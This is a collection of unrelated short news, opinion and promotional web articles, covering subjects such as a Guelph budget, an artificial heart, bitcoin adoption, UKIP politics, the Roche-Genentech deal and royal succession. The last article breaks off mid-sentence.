-Guelph residents could see a tax hike of as much as 4.84 per cent for 2018.  On Thursday evening, the City of Guelph released its draft operating budget for next year, which will be presented to councillors by staff on Nov. 8. The recommended base budget comes in at just under $233 million, representing a 2.19-per-cent increase.  On top of the base budget, staff will be putting forward three items for consideration that could drive that rate up.  First are city department budget expansions that could raise taxes by as much as 1.4 per cent, or an extra $3.19 million in the budget. Among those additions are $524,700 for implementing front-end waste collection for multi-residential properties in Guelph, achieving one of the recommendations from the council-endorsed Solid Waste Management Master Plan, passed in 2014; $399,200 to hire four full-time paramedics, increasing service to one extra day shift in Guelph, with the budget citing an increase in delays to responding to emergency calls; $322,900 for an affordable housing incentive program, with $230,000 going into the affordable housing reserve and another $86,600 for one contract staff to implement the program approved by council in July; and $458,000 to expand yard waste collection to every two weeks.  The expansion package also recommends a number of new staff positions, such as $100,300 for a learning and development co-ordinator, who would be responsible for planning, co-ordinating and directing training and development programs; $100,300 for a WSIB claims and disability co-ordinator; $117,500 for a financial analyst for the city’s environmental services department; $158,900 for a financial strategy manager, who would lead the city’s new financial strategy team to “deliver specific advice on financial policy, long-term capital and funding forecasting, and supporting the city’s significant investment in city building and growth decisions,” according to the budget document; and $142,000 for an internal auditor.  There is also a request from staff for an additional one-per-cent levy to go toward the city’s infrastructure.  The request for the infrastructure levy will not be news to councillors, who were advised by staff during a September council meeting to maintain the program in order to help the city catch up on its repair backlog.  At the Sept. 26 meeting, city treasurer Tara Baker told councillors that while the levy introduced for the 2017 budget was a step in the right direction, similar levies would need to be done over the next decade to help the city catch up.  “What you approved last year was a major first step toward becoming sustainable, but the message from staff has always been that in order to reach sustainability, we need the additional one per cent over the next 10 years,” she said at the time.  “With that, we become sustainable approximately by the year 2032.”
-According to NPR, doctors at the Texas Heart Institute have created a device which uses ventricular assist devices (VADs) to move blood throughout the body using whirling rotors.  The catch? Patients who choose this procedure are left without a heartbeat or pulse.  To learn more about this artificial heart technology, I spoke with Dr. Bud Frazier at the Texas Heart Institute. Below is an excerpt of our conversation.  SP: How was this procedure different from other artificial heart procedures?  This procedure involved two separate pumps implanted after removing the native heart. It resulted in an intra-pericardial continuous flow cardiac replacement, and the patient had no way of generating a pulse. Because the pumps were placed inside the pericardium, it is deemed a pulseless intrapericardial cardiac replacement.  SP: How does the pulse-less heart work? What makes a continuous pump different than other artificial hearts?  Because it has continuous flow, this pump can be made smaller and operationally simpler. One of our main reasons for pursing this instead of using the pulsatile devices used in the past is because the pumps are more durable and reliable. They are also much less prone to infection or stroke. I was the first to implant this particular pump in 2003, and it has never been pumped to failure. We had a patient with such a pump for greater than seven years without evidence of malfunction. All of the pulsatile pumps that we developed and used in the past stopped working within two years.  SP: What are the challenges that await with the pulse-less heart? What needs to be changed and fixed in order for the FDA to approve the heart?  We need to develop a pump designed specifically for cardiac replacement. Those used in the procedure are assist pumps that were designed for partial heart assist. In the future, we require time, money, and the engineering expertise to refine this technology to comply with the FDA standards. Although this is much more than a simple Kitty Hawk experiment, more effort needs to be applied to obtain these goals.  Image: via Texas Heart Institute  Related links: Heart With No Beat Offers Hope Of New Lease On Life  This post was originally published on Smartplanet.com
-The new "trilateral highway" is aimed at creating a new economic zone ranging from Calcutta on the Bay of Bengal to Ho Chi Minh City on the South China Sea.  The first phase of the project was agreed during Indian prime minister Dr Manmohan Singh's visit to Burma this week when he and President Thein Sein set a 2016 deadline to complete a super highway linking Guwahati in Assam to Burma's border with Thailand via Mandalay and the former capital Rangoon.  According to analysts, the road is a key part of a plan to open the "Mekong-India Corridor" to link the world's second fastest growing market – India – with the new Asian Tiger economies of Indo-China.  Until now plans to open this new economic zone, which bypasses China, the world's fastest growing economy and superpower, have been hampered by international sanctions against the former military regime in Burma.  But with the gradual easing of sanctions following the series of democratic reforms unveiled by Burma's president Thein Sein since last August, the obstacles have now cleared.  For India, the new highway will open up new oil and gas opportunities off the coast of Burma, and also Vietnam, as well as easier access to Japanese products made in Thailand.  It would also bring new wealth to its poor and marginalised North-Eastern states like Manipur and Nagaland, which have been blighted by local insurgencies and heavy security.  The highway will also recall the historic ties between India and Burma which unravelled following their independence from Britain after the Second World War.  During most of the colonial period Burma was governed as a province of British India from Calcutta and later New Delhi. Aung San Suu Kyi, like other children of Burma's elite, was a pupil and university student in India.  Mohan Guruswamy of the New Delh-based Centre for Policy Alternatives, said a two lane highway connecting the Indian border to Mandalay, 375 miles away, had already been built, and the next phases will be to broaden it to a four-lane road and extend it a further 375 miles to Rangoon.  "The idea is that you can get in a car or bus and drive to Bangkok from Guwahati. Burma was the hurdle, but now it has opened up, thanks to the Americans. It marks a great opening of a new economic zone," he said.
-When Gloria Steinem got married at age 66, the media paid attention. One of the most famous feminists of the 1960s and 1970s, Gloria Steinem continued as an activist, critical thinker, author and spokesperson on women's issues for decades. Anti-feminists often associated Gloria Steinem with a false stereotype of feminists as "man-hating." Gloria Steinem's marriage to David Bale was another chance for the media to trot out misconceptions about feminism.  "A woman without a man is like a fish without a bicycle." - Gloria Steinem  Who Was Gloria Steinem's Husband?  Gloria Steinem married activist David Bale in September 2000. The couple had met at a fundraising event for the Voters for Choice organization and for Democratic candidate Bill Curry.  Gloria Steinem's marriage to David Bale lasted until his death from brain lymphoma in late 2003.  David Bale, father of actor Christian Bale, was an activist known for his commitment to environmental, humanitarian and animal rights causes. He worked with several nonprofit organizations, including the Dian Fossey Gorilla Fund International. He was a commercial pilot.  David Bale was originally from South Africa and had lived in several different countries, including England. His opposition to the apartheid government had, at one time, ended with his being banned from his native country.  Bale had been married and divorced twice before. Gloria Steinem and David Bale lived in New York and California during their marriage.  The Shock of Gloria Steinem's Marriage  At the time of Gloria Steinem's marriage to David Bale in 2000, several news stories poked fun at the idea of the longtime feminist finally "giving in" to society's tradition. Was Gloria Steinem opposed to marriage? She had certainly pointed out its flaws and inequities. Feminists of the 1960s fought against the unfair view of married women as less than legally whole people. They also tried to change laws that prevented married women from independently owning property or obtaining financial credit in their own names.  Gloria Steinem said in 2000 that she had worked for years to make marriage more equal but that she, too, was surprised to actually be partaking of the institution. She responded to questions about whether she had changed her beliefs that she hadn't changed; marriage had. It had become more equitable and fair to women since the mid-20th century and the early days of the women's liberation movement.  Often a target of anti-feminists, Gloria Steinem was the subject of a few snide articles and opinion columns. One writer even referred to the news of Gloria Steinem's marriage as "the taming of the shrew," alluding to the Shakespeare play and choosing a word with a particularly negative connotation, often used for women.  Others suggested that Gloria Steinem and David Bale married for immigration reasons because he had overstayed his visa. The New York Daily News quoted Gloria Steinem in September 2000: "Apparently there is a need to look for ulterior motives when a feminist marries."
-About  Hello Kickstarter,  We’re GoPole. The original third-party GoPro accessory brand. Since 2010 we’ve been making innovative accessories for the world's top athletes and filmmakers. As we kick off our sixth year we are excited to bring you our first kickstarter campaign ever — A versatile mount that offers protection, stability and accessory mounting options for your GoPro® camera. We call it Triad Grip.  Triad Grip is a do it all mount that is perfect for underwater use or professional video production. Featuring two rubber grips and a rubber glide handle, Triad Grip can be used for two-handed or single-handed filming. Two ¼"-20 threaded inserts and three integrated shoe mounts are provided for connecting mics, lights and other camera accessories.  Multiple Mounting + Configuration Options  Attaching multiple cameras allows you to capture photos and videos simultaneously or use different frame rates and settings on each camera.  Camera 1: 4k30 - Camera 2: 1080p120  Camera 1: 2.7k60 - Camera 2: Continuous Photo (5 SPS)  The three main components to Triad Grip are:  1. The Camera Slide System  Allows you to attach one or many cameras to Triad Grip. Attach anywhere within the slide in any orientation or location.  2. Three Rubber Matrix Grips  Perfectly integrated into the frame of Triad Grip are three rubber matrix grips. The two grips on the side are made to be used when filming with two hands. This gives the filmer a solid grip and helps stabilize footage when shooting follow cams. The third grip is a rubber glide handle to be used when filming low angles with one hand. Hanging the camera below the center of gravity produces ultra smooth footage.  3. Accessory Attachment Points  Consisting of 3 shoe mounts and 2 ¼"-20 threaded inserts for connecting a variety of attachments.  Together, these three components allow for many different setups:  A pro setup with a mic and light attachments mounted to a tripod. (see Pro Backer package)  A production setup with an LCD monitor to review and record footage externally  An underwater setup with adjustable arms and dive lights  + Many more setups  Compatible cameras:  All GoPro Cameras: HERO4 Session, HERO4, HERO+LCD, HERO, HERO3+, HERO3, HERO2, HD HERO + Any Camera With a Standard Tripod (1/4"-20) Connection  Details:  Dimensions: 10.5" x 6.0" x 1.0"  Weight: 11oz  Materials: Plastic, Rubber, Stainless Steel Hardware  The top grip is a rubber glide handle to be used when filming low angles with one hand. Hanging the camera below the center of gravity produces ultra smooth footage.  The two grips on the side are made to be used when filming with two hands. This gives the filmer a solid grip and helps stabilize footage when shooting follow cams.  From professional video production to capturing footage beneath the surface, Triad Grip is a versatile mount that can be used in many different applications.  When developing Triad grip, we wanted to get the details just right and think outside the box on how useful and versatile this product could be. We chose to manufacture the body out of polycarbonate, which is strong, rigid and lighter than aluminum.  We started off with sketched concept generation and fleshed out the main components and rough dimensions of the product. Our industrial designers then fine tuned, dimensioned and stylized everything in CAD. Once we were happy with everything, we produced a 3d printed prototype.  3D Printed Prototype (left); Production Prototype (right)  We need your support  We are now at the point where everything has been engineered and working prototypes have been produced. We are ready to move forward with manufacturing and just need your support to bring Triad Grip to market.  Thank you backers!  In The Box: 1x Triad Grip, 2x GoPro® Mounts, 2x Hi-Torque Thumbscrews, 1x Wrist-Strap Attachment  Retail Packaging
-Bitcoin is gaining momentum in South America with a nightclub in Santiago now accepting bitcoin as payment for beers, burgers and cocktails.  The California Cantina, a trendy restaurant, sports bar and nightclub in the Providencia neighbourhood of the Chilean capital, claims to be the first nightclub in South America to accept bitcoin payments. The owner, James Lyles, says a friend introduced him to bitcoin and he was immediately blown away by the potential:  “I just found that it was one of those things that was going to make paying and the transactions between people a lot easier. And it takes out the financial institutions, the partners we would rather not have,” he said.  Credit card charges  In Chile, credit card companies charge an additional 3 – 3.5% per transaction. This adds up to hundreds of thousand of peso each year, according to Lyles. Right now, about 70% of all payments in California Cantina are made with credit cards, but Lyles hopes to be able to cut that down by 10% within the first few months by promoting bitcoin payments. This, he says, will lead to “huge savings”. He added:  “We will start it as a trial and see how it catches on. But there are a lot of people in Chile that are starting to buy bitcoin and a lot of the international people here who are all over it.”  The bar started accepting bitcoin payments on Wednesday night, when it held a large meet up and party that drew a large crowd to the nightclub. Joining them for the occasion was Nicolas Cary, CEO of Blockchain.info and Adam Stradling, the founder of Coin4ce, the Santiago-based bitcoin company that will process the payments in Californian Cantina.  Taking time out from the festivities, Stradling said that bitcoin is gaining a momentum in Latin America. The currency’s major hub is still Buenos Aires, the capital of Argentina, where a number of restaurants, bars and clothes stores accept bitcoin for payments. Buenos Aires also has the highest number of bitcoin users in Latin America, but Stradling says that Chile, Peru, Colombia and Mexico are waking up to bitcoin and catching up fast.  “Two years ago when we started trading here in Chile nobody knew what was going on. Now, two years later, the newspapers have been writing about bitcoin every day for months,” he said.  QR codes  For California Cantina, Coin4ce has created a pesos to bitcoin market rate converter that creates a QR code for each transaction for bars and restaurants. A waiter or waitress can just bring over an iPad, enter the bill amount, and generate a unique QR code to receive the payment from the customer. Coin4ce is also working on a bitcoin wallet for the Chilean market together with Blockchain and they hope to expand their operations to Peru, Colombia, and Mexico in the near future.  Nicolas Cary is also sensing a new understanding of bitcoin in Latin America. Last time he visited to talk about bitcoin and Blockchain, he said he sounded like an “extraterrestrial” to most people.  But now everyone from taxi drivers to bar owners and business leaders have an opinion on the subject: “the usefulness of [bitcoin] for people here is becoming really clear,” he says.  Lyles maintains that financial incentives were the main motive to accept bitcoin. However, he is also excited about the project on a personal level, to be a part of the future and to stay ahead of his competitors:“If you are not getting used to it now, you will be forced to get used to it later,” he said. “So, we might as well be ahead of the curve”.  So, if you fancy a holiday with sun, beer and a way to spend your bitcoin, head to the South American summer and Santiago for a bitcoin holiday. You can even book your flight on Btctrip, the Argentinian bitcoin travel agency.  Beer Image via Shutterstock
-With a win in Strade Bianche and the Women's WorldTour lead in her recent palmares, Elisa Longo Borghini (Wiggle High5) is one of the top favourites for Sunday's Trofeo Alfredo Binda, a race that takes place near her home town. Longo Borghini won the race in 2013 in stormy conditions, but hopes she can win in more pleasant weather this time. Related Articles Longo Borghini alters schedule, will tackle Ronde van Drenthe on Saturday  Trofeo Alfredo Binda - Comune di Cittiglio past winners  WorldTour lead up for grabs at Trofeo Alfredo Binda - Preview  Amialiusik will lead Canyon-SRAM into Trofeo Alfredo Binda  Deignan hunting three-peat at Trofeo Alfredo Binda  Longo Borghini: Bergen medal 'would mean the world' to me  "Normally it's a good course for me," Longo Borghini said. "It's pretty hard. I'm actually very happy that it's not going to be such bad weather as it was in 2013, because there it was a bit extreme.  "Even though I won, I don't really jump from happiness when it's rainy and cold!"  The Italian opted to add the Ronde van Drenthe to her schedule after the Strade Bianche win to extend her lead in the WorldTour, and the strategy worked.  "This year I will have the Women's WorldTour jersey, which is a plus for me, and it's very important to be in Italy with the jersey that I actually conquered in Italy. So it will be extra motivation," she said.  Longo Borghini can draw still more inspiration from the fact that the race is just kilometers away from her home town. "It's always a bit special in Cittiglio because of that," she smiled. "I will have my family there - my parents, my brother, my nieces and my sister-in-law, and it's just nice."  Wiggle High5 is sending a team similar to the one that helped her win in Strade Bianche: Giorgia Bronzini, Audrey Cordon-Ragot, and Amy Roberts will be joined by Emilia Fahlin and Claudia Lichtenberg.  "We have such a strong team, and with the new entry of Claudia it's even stronger," said Longo Borghini. "She's a climber, she's a girl that can perform very well on that kind of terrain, and Binda suits her very well."  Wiggle-High5 Pro Cycling team for the Trofeo Alfredo Binda - Comune di Cittiglio: Giorgia Bronzini, Audrey Cordon-Ragot, Emilia Fahlin, Claudia Lichtenberg, Elisa Longo Borghini, and Amy Roberts.
-Signup to receive a daily roundup of the top LGBT+ news stories from around the world  Godfrey Bloom, who was suspended from UKIP for homophobic and sexist comments, has spoken of his high regard for Douglas Carswell.  It was revealed today that a senior UKIP source has called for a leadership election following Nigel Farage’s return as party leader after just three days. The source described Mr Farage’s leadership as: “A tragedy of self-destruction”.  Former UKIP MEP Godfrey Bloom appeared on the Victoria Derbyshire show on BBC2 to discuss the future of UKIPs leadership.  Mr Bloom was suspended from the party in 2013 after describing a lesbian as “a queer” and women party members “sluts”. He left the party at the end of last year, claiming it was “too politically correct”.  Asked his thoughts on Mr Farage’s style of leadership, Mr Bloom said: “He is rather capable of some abrasive behaviour. He’s not a team player.  “He is very popular with the membership, but sooner or later UKIP is going to have to decide whether they want someone who’s popular in the UKIP conference hall, or popular with the electorate.”  He went on to suggest UKIP’s only MP Douglas Carswell for the position of leader.  “I would suggest that the leadership should come from the person who has been elected in Westminster. The fight is from Westminster now, which means Douglas Carswell.  “I think regardless of the politics or your feelings for Douglas Carswell he’s clearly one of the most highly principled men in politics. He’s a sort of Dennis Skinner of the right.  “He’s a man of extraordinary presence and I think naturally should step forward now.  “But I don’t think he wants it. It’s a poison chalice.”  Mr Carswell voted against same-sex marriage during his time as a Conservative MP, calling it “arrogant”.  He has stopped short of saying he completely agrees with Mr Farage’s statements on “foreigners with HIV“. His father, Wilson Carswell was one of the first doctors to recognise HIV in Uganda and a pioneer of HIV research.
-Rep. Peter King (R-N.Y.) AP Our government is a disaster because of a small group of Republicans in the House of Representatives.  I'm not talking about the group of Republicans you might think.  Yes, there are 30 to 50 arch conservatives in the House who have been insistent they won't reopen the government without putting a major dent in Obamacare. These people are not the key problem. They are only relevant because so-called "reasonable" or "realistic" Republicans allow them to be.  The most dangerous group in Congress is moderate Republicans, many from the northeast, who could reopen the government and break extremists' grip on their caucus' agenda, but choose not to.  According to the Washington Post, 21 House Republicans say they are prepared to vote for a "clean" continuing resolution to reopen the government. Together with Democrats, this is enough votes to pass the bill that has already passed the Senate, reopen the government, and stop the madness.  Yet these Republicans who publicly say they favor a clean CR have repeatedly voted with their extremist colleagues to prevent it from coming to a vote.  If moderate House Republicans don't want a government shutdown and favor a clean CR, why have they passed up on ways to end the shutdown?  Here are the three things they could do if they wanted to:  1. Defeating the rule. On Sept. 30, Republicans voted on two plans that would only keep the government open with major changes to Obamacare. Rep. Peter King (R-N.Y.) opposed this approach, saying the House should instead vote on a clean continuing resolution like the Senate's.  King declared his intention to vote against a rule bringing the last Republican plan to the floor; a defeat would have left Republicans with no bill to reopen the government and likely led to a vote on a clean CR. And King claimed that 20 to 25 moderate Republicans were prepared to vote with him.  But when the rule came up for a vote, only one other moderate joined King in voting no: Rep. Charlie Dent (R-Pa.). All the other "moderates" lined up the likes of Rep. Ted Yoho (R-Fla.), and the government shut down.  2. Recommitting with instructions. Since the government shut down, House Speaker John Boehner has repeatedly brought up bills to reopen only parts of the government. And five times, Democrats have made motions to recommit these bills with instructions. What those motions would do is amend the bills to be identical to the "clean" continuing resolution that already passed the Senate.  Each time, the Republican presiding officer has ruled the motions out of order, and Democrats have appealed the ruling. If you favor a clean CR and want one brought to the floor, you should vote in favor of the appeal. But each time Democrats have made this move, not a single Republican has voted with them — not even Peter King.  3. Discharging the bill. Rep. James Lankford (R-Okla.) filed a bill earlier this year that would cause the government to stay open at current funding levels even if Congress fails to pass a continuing resolution. Democrats have proposed a discharge petition for this bill. If 218 members signed that petition, the bill would come to the floor, and if it passed the House and Senate, the government would reopen.  But no Republican has backed this approach, either. Peter King told National Review he wouldn't sign the petition because Democrats "are not bargaining in good faith."  If you look at members' actions and votes instead of their statements, the number of Republicans in the House who favor a clean CR and oppose the Cruz-driven strategy of shutdown and hostage-taking is not 21. It's 0.  The entire House Republican caucus is responsible for its shutdown-based legislative strategy. The only difference among the members is that Tea Party conservatives have the decency to admit what they're up to.
-- Police body camera video shows the dramatic moments when officers rescued two dogs from a hot car in a local shopping center.  App users: View full article here  According to the Roswell Police Department, a woman called 911 just before 4:00 Sunday afternoon after seeing a dog left in a parked car outside the Studio Movie Grill on Holcomb Bridge Road. Police said their officers arrived 18 seconds after the call was made.  Related VideoView Larger  Roswell Police posted parts of the body camera footage on their Facebook page Wednesday.  "You see exactly what's happening from the officer's body cam as he is seeing it," explained Officer Lisa Holland with Roswell Police. "I mean, it's a very traumatic situation for the officer, actually and for the dogs."  The video shows how aggressive the first dog was when being taken out of the car, and how a second dog, who hid under the seat to avoid the sun, came out to protect the first dog.  Moments after being rescued from the car, police said one of the dogs suffered a heat stroke seizure. The video shows police and fire rescue personnel providing urgent care to the animals. Both pets are said to now be in good health, and were seized as evidence by Fulton County Animal Control.  "We want the public to see this and hopefully tell their friends and just remember the importance, [be]cause sometimes you don't think about it. The lady you know, didn't intentionally want to hurt her dogs, she didn't want to cause harm to these animals. She just didn't think," said Officer Holland.  The woman is scheduled to appear in court in August.
-The apartment. Craigslist If you're a "relatively young, hetero, professional male bachelor who grew up in America," then we may have just found the apartment of your dreams.  First spotted by Gothamist, the ludicrous Craigslist listing (which has since been deleted) is for a three bedroom in Long Island City's Arris Lofts. The "palace" is 2,000 square feet with two floors, a washer and dryer, enclosed garden area with koi pond, roof deck, gym, pool, and sauna.  Though the amenities and room sound awesome, the two 30-something men who live there do not. "Do not respond to this ad unless you make, at minimum, six-figures a year," the now-deleted listing reads. "You will not be able to afford to live here or maintain the lifestyle that is necessary to keep up with the rest of us."  Those fresh out of college are not welcome either, along with anyone who can't speak English, is passive aggressive, or is sensitive to "awesome music played at high decibel levels, the aroma of amazing gourmet cooking emanating through the house, lengthy intellectual debates with people who have an amazing sense of humor, or loud moans of sexual delight creeping out from the various bedrooms at any given hour of the day."  But don't worry. They're also accepting of ladies if you are "an extremely hot (at least a 9), lipstick lesbian with bi tendencies and an exhibitionist streak when you get hammered."  Charming. And while the listing is now gone, thankfully Gothamist took screenshots of the outrageous ad. Enjoy.
-Rate Expectations Versus Rates  Which Point To Use?  Interest Income  Concluding Remarks  One of the more intractable controversies within monetary economics is measuring the effect of interest rates on the economy. Within mainstream economics, a strong effect is assumed, and a series of non-falsifiable models are built around that assumption ( as discussed here ). For those of a post-Keynesian persuasion, this is unsatisfactory, as there are a number of potential channels from interest rates to the economy, and the effects can move in opposite directions for these different channels. I would like to ignore the theoretical debate how interest rates affect the economy, rather look at the data. Unfortunately, it is not even clear what interest rate to use.Within modern mainstream Dynamic Stochastic General Equilibrium (DSGE) models, the level of interest rates is not supposed to be the variable of interest, rather it is expected path of rates. This leads to some fairly complex mathematics, as we are now defining interest rate policy as a "reaction function," and not just a time series of interest rates.Although I have my doubts about DSGE macro, I do not object to the importance of interest rate expectations as a concept. This is because long-term government bond yields reflect the expected path of interest rates. Roughly speaking, a bond yield is equal to the expected average of the policy rate over the lifetime of the bond, plus a "small" risk premium (term premium). All of the mathematical difficulties of DSGE models become understandable if we realise we are interested in the entire term structure of interest rates, and not just a single point of the yield curve.If we want to do econometric analysis to determine the effect of interest rates on the economy (without just assuming we have the model dynamics), we need to do something like run regressions on an interest rate time series versus other economic time series. Unfortunately, it is unclear what point to pick.Pretty well any borrower has the option of locking in a fixed rate of interest for multiple years, or else borrowing at a floating rate. Which rates appear most attractive at any given point in time depends upon the psychology of borrowers. Given the fragmentation of the lending markets, we only have a limited idea of the mix of borrowing maturities. As a result, we do not have an idea what points on the curve matter most for borrowing decisions at any given time.For central bankers, they administer the overnight rate, and it is natural for them to pick that point to run their statistical analysis. "If we move the administered rate by 100 basis points in this direction, what happens?" However, the relationship between the policy rate and points further on the curve is vague.If we are at very short maturities, it does not make too much of a difference what point you choose. As the chart of the 2-year Treasury yield and the overnight policy rate (Fed Funds) shows, the two rates are fairly close together most of the time. If the Fed hikes rates by 400 basis points, the 2-year yield will rise 300-400 basis points. That is pretty close to a 1:1 relationship, at least when we compare the error to the other sources of error in any estimates we are trying to make.This breaks down even when we go out to the 5-year point of the curve. If we look at the interest rate cycle of the mid-2000s, the slope from the overnight rate to the 5-year yield went from +300 basis points to about -100 basis points. Although the time series for the 5-year yield and the overnight rate are correlated, the magnitudes of the change in yields are quite different. This means that it is very unclear what the sensitivity of other variables towards interest rates will be.This relationship between the overnight rate and the 5-year yield is what you would expect to happen if the bond markets are efficient; they will price in yield reversion at both extremes of the cycle. (Many observers, including those at the Fed, were mystified by this "conundrum," which tells us how well the Fed understands their own models.)Making the situation even more complicated is the fact that only the Federal Government borrows at the "risk free" rate; other entities are borrowing at a spread over the Treasury curve. The variability of these spreads further muddies the relationship between the policy rate and the interest rates faced by private sector borrowers.Mainstream analysis is almost entirely focused on the rate of interest (the price of borrowing money), and not the income flows associated with borrowing. Post-Keynesian analysis (in particular, Modern Monetary Theory) puts much more emphasis on the income flows from debt. Changing interest rates will change the income flows within the economy.If you want to pursue this angle, you will need to dig into the interest income flows within the flow of funds. The rate of interest has only a slow lagged effect on these flows, as a great deal of borrowing is done a fixed rate of interest, and the interest rate paid has been already locked in. For example, if you are looking at government interest expense, it will only move slowly as the average maturity of most developed government bond markets is at least 5 years or so. So long as the Treasury Bill segment of the curve can be locked down near the policy rate, the average interest cost on the portfolio of government debt will only move slowly, with a reversion time comparable to the average maturity of the debt.Although some analysts can generate very precise sounding predictions about the effect of Fed rate hikes on other economic variables, the reality is that even if we had good models of the economy, the sensitivity of other variables towards the overnight rate would be hard to pin down. Unless the Fed hikes rates by several hundred basis points (which admittedly was the norm for previous cycles), the flattening of the yield curve would reduce the effect of hikes on effective interest costs.(c) Brian Romanchuk 2015
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-TRIPOLI (Reuters) - A bomb exploded in front of the Spanish embassy in the Libyan capital late on Monday, residents said, the latest in a string of attacks on foreign missions in the North African country.  “We heard a loud explosion,” said a Tripoli resident living next to the embassy.  Spain’s El Mundo newspaper said nobody had been hurt as Spain, like most Western and Arab countries, had pulled out its diplomats in summer during weeks of heavy fighting between rival armed groups in Tripoli.  Pictures posted on social media showed some damage at the building’s wall. There was no immediate claim for the attack or comments from Tripoli officials.  Militants loyal to Islamic State have claimed a string of killings of foreigners as well as attacks on embassies and oilfields in Libya.  Islamic State militants have exploited chaos in the North African country where two governments allied to a host of armed groups are fighting for control four years after the ousting of Muammar Gaddafi.  On Sunday, the group claimed the killing of around 30 Ethiopan Christians, two months after the beheading of 21 Egyptian Copts on a Libyan beach.  Libya’s internationally recognized government has been based in the east since a rival faction called Libya Dawn seized Tripoli in August, setting up a rival administration.
-The deal ends a drawn-out battle that began last year and turned hostile for several months after Roche's initial bid was rejected. The financial crisis then struck, casting doubts about the takeover. Roche later increased its offer after meeting with Genentech investors. The new deal gives the Basel-based firm 44 per cent of Genentech that it did not already control and creates a sales force of about 3,000 people. Roche will now control Genentech's popular cancer drugs Avastin and Herceptin. Executives estimate annual revenues from the two companies should be around $17 billion.  Board members at Genentech, a California-based company, agreed to sell Roche all outstanding shares for $95 each in cash. It is one of the most expensive deals in the history of the Swiss economy.  Copyright  All rights reserved. The content of the website by swissinfo.ch is copyrighted. It is intended for private use only. Any other use of the website content beyond the use stipulated above, particularly the distribution, modification, transmission, storage and copying requires prior written consent of swissinfo.ch. Should you be interested in any such use of the website content, please contact us via contact@swissinfo.ch.  As regards the use for private purposes, it is only permitted to use a hyperlink to specific content, and to place it on your own website or a website of third parties. The swissinfo.ch website content may only be embedded in an ad-free environment without any modifications. Specifically applying to all software, folders, data and their content provided for download by the swissinfo.ch website, a basic, non-exclusive and non-transferable license is granted that is restricted to the one-time downloading and saving of said data on private devices. All other rights remain the property of swissinfo.ch. In particular, any sale or commercial use of these data is prohibited.  Reuse article  Roche buys Genentech for $46.8 billion Mar 12, 2009 - 09:12 Swiss drug maker Roche has struck a deal with shareholders to purchase biotech group Genentech for $46.8 billion (SFr54.11 billion). Board members at Genentech, a California-based company, agreed to sell Roche all outstanding shares for $95 each in cash. It is one of the most expensive deals in the history of the Swiss economy. The deal ends a drawn-out battle that began last year and turned hostile for several months after Roche's initial bid was rejected. The financial crisis then struck, casting doubts about the takeover. Roche later increased its offer after meeting with Genentech investors. The new deal gives the Basel-based firm 44 per cent of Genentech that it did not already control and creates a sales force of about 3,000 people. Roche will now control Genentech's popular cancer drugs Avastin and Herceptin. Executives estimate annual revenues from the two companies should be around $17 billion.
-In an attempt to end the debate over the issue of succession, Prince William has signalled that there is “no question” about whether his father will be the next monarch, despite his surge in popularity following his engagement to Kate Middleton.  Royal aides insist that Prince William has “no desire to climb the ladder of kingship” prematurely, following two recent polls by ICM and YouGov that found that most people believe he would make a better king than his father and think that Prince Charles should stand aside for his son.  A senior royal aide told The Sunday Telegraph: “There is no question in Prince William’s mind that the Prince of Wales will be the next monarch.  “Prince William is aware of the speculation, but he is very thick-skinned. He knows his place in the Royal family and he considers himself to be very low down the food chain. He has no desire to climb the ladder of kingship before his time.”  Royal sources also said that Prince William did not share his late mother’s view that he is more suited to the role of king than the Prince of Wales.  In 1995, Diana, Princess of Wales gave a candid television interview to the BBC in which she said that the role of king would bring “enormous limitations” to Prince Charles, and that Prince William may be better suited to succeed the Queen as monarch.  A royal source said: “Prince William is enormously proud of his mother and all her achievements, but that is so far off what he thinks. He is very close to his father and incredibly supportive of him and his work as the Prince of Wales.  “Both of them will let nature take its course. There is no suggestion from anywhere within the institution that a generation will be skipped.”  Prince William is known to be sensitive at being seen to encroach on his father’s role as heir to the throne and rarely attends official engagements with his father to avoid the spotlight falling on him rather than Prince Charles, 62.  But according to the YouGov poll, only 15 per cent of the public felt that Prince Charles would make a better king, while 56 per cent preferred Prince William.  Royal aides also confirmed that Prince William, 28, who works as a search-and-rescue helicopter pilot at RAF Valley in Anglesey, North Wales, will not be stepping up his royal duties following his marriage to Miss Middleton next year, despite St James’s Palace receiving huge demand.  A royal aide said: “The Prince is not yet a full-time member of the Royal family – first and foremost he is an RAF officer – and he will continue in his role at RAF Valley until at least 2013.  “After that time, he may wish to continue in some role in the military, or begin his training for kingship, which may involve attachments to various government departments to learn more about constitutional affairs.  “Prince William has around 20 patronages, but that number is not going to increase in the near future because he does not want to overcommit while he has a full-time job in the RAF.  “Kate will be pursuing her own projects in time, but the plan is very much for her to be introduced to the role and shown the ropes, and not plunging in unprepared.”  Lord Lester of Herne Hill QC, the Liberal Democrat peer and constitutional lawyer, said: “The mechanism of succession is not based on a popularity contest, so all the polls in the world about who should be the next monarch are irrelevant.  “The public need to accept that we have a monarchical system based on the medieval male descent principle where the crown passes from the monarch to the next direct male heir.  “I would certainly not expect the Prince of Wales to ever relinquish that right to the throne in his lifetime, nor would I imagine that Prince William would ever consider challenging it.”  Prince Charles’s future reign as king came under the spotlight recently when he suggested that the Duchess of Cornwall could be crowned queen.  Previously, it was believed that the Duchess would adopt the title of “Princess Consort” when Prince Charles becomes king.  The title was concocted by the last Labour government when the Prince married his second wife in 2005, amid concern that the public had not warmed to the Duchess and felt that the prospect of her becoming queen would not be accepted.  In an interview on American television, the Prince was asked if the Duchess would become queen, to which he replied: “That’s, well… we’ll see, won’t we? That could be.”  Although the Queen, 84, shows no signs of slowing down or reducing her royal engagements, it was announced last week that the Duke of Edinburgh, who will be 90 next year, is gradually to wind down his official commitments.
-The downward trend observed yesterday gained strength today, with the average of ( ) prices across all exchanges falling just over 2% to $445.62. It is suggested that traders on BTC-e are using sell trades to depress the price and enter buying orders to get Bitcoin at a lower price, as the BTC-e exchange has been leading the price movement. For example, the Bitcoin price is $439.99 on BTC-e, while on other exchanges it has not reached that low yet. On the BitStamp exchange, the price is at $448.77. The next important support levels lie at $432.79 and $419.68.  Although traders and margin traders could be to blame for the price decrease, volatility such as experienced in Bitcoin markets is normal for relatively new markets and is to be expected. But as adoption continues to increase, higher demand should push the price up long-term. One factor that is affecting the price in the short-term is mining. The easier accessibility of mining in the form of mining contracts and cloud mining has brought in new participants. This has increased the rate at which Bitcoin are introduced into the system, which depresses the price. The hash-rate has recently jumped, indicating more computing power is being devoted to maintaining the Blockchain. This increases the blocks that are mined and the number of Bitcoins that come into existence.  Another reason for this sudden price decline could be the ever-increasing number of merchants that accept Bitcoin are exchanging Bitcoin for . As people use Bitcoin to pay for goods, merchants are exchanging the Bitcoin straight into fiat 